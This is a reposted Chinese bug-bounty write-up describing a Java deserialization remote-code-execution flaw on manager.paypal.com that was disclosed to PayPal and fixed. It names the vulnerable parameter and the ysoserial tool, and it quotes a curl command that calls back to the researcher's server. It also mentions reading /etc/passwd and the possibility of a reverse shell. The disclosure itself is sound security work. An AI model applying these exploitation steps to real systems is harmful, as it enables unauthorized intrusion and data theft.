天天看點

PayPal遠端指令執行漏洞分析

2015年12月,筆者在paypal的某個分站中發現了一個能夠遠端執行任意shell指令的java反序列化漏洞,并且能夠影響到paypal的産品資料庫。我馬上将該漏洞送出給了paypal,并且很快得到了修複。

漏洞細節

在測試manager.paypal.com這個站點時,我的注意力被post送出中的不尋常的參數“oldform”所吸引,這個參數的内容就像是base64解碼後的複雜對象。

在經過一些研究之後,我意識到這就是能被應用處理的沒有經過簽名的java序列化對象。這意味着你能将存在的class序列化後送出給伺服器,然後“readobject”(或者“readresolve”)方法會被調用來解析該序列化的對象。為了利用這個漏洞,你需要在應用的 “classpath” 中找到一個能被序列化的合适的class,并且能被“readobject”所解析。你可以從foxglove security的文章中了解更多相關的技術細節。一年前,chris frohoff和gabriel lawrence在apache common collection這個庫中發現了能夠導緻遠端指令執行的合适的classes,然後也釋出了“ysoserial”這個payload生成器。

漏洞證明

我馬上下載下傳了上面說到的這個工具,然後生成了一個簡單的payload,這個payload會執行“curl x.s.artsploit.com/paypal”這個shell指令,然後會發送dns和http請求到我自己的伺服器。

然後我在post請求的“oldformdata”參數中填入base64編碼後的payload,發送給了伺服器。在那之後,令我印象深刻的是在我的nginx access log中發現了來自paypal 的請求。

我意識到我能在manager.paypal.com這個伺服器上執行任意的指令,甚至我能反彈一個shell權限到我自己的伺服器,然後上傳和執行一個後門程式。結果會是通過manager.paypal.com這個網站,我能擷取到paypal的production資料庫。

但是我沒有像上面說的那麼去做,我隻是讀取了“/etc/passwd”的内容作為漏洞的驗證。

我還搗鼓了一個如果複現該漏洞的視訊送出給了paypal安全團隊。然後,我還發現了manager.paypal.com的其他很多地方也使用了序列化對象,并且能夠被利用。

本文轉自d1net(轉載)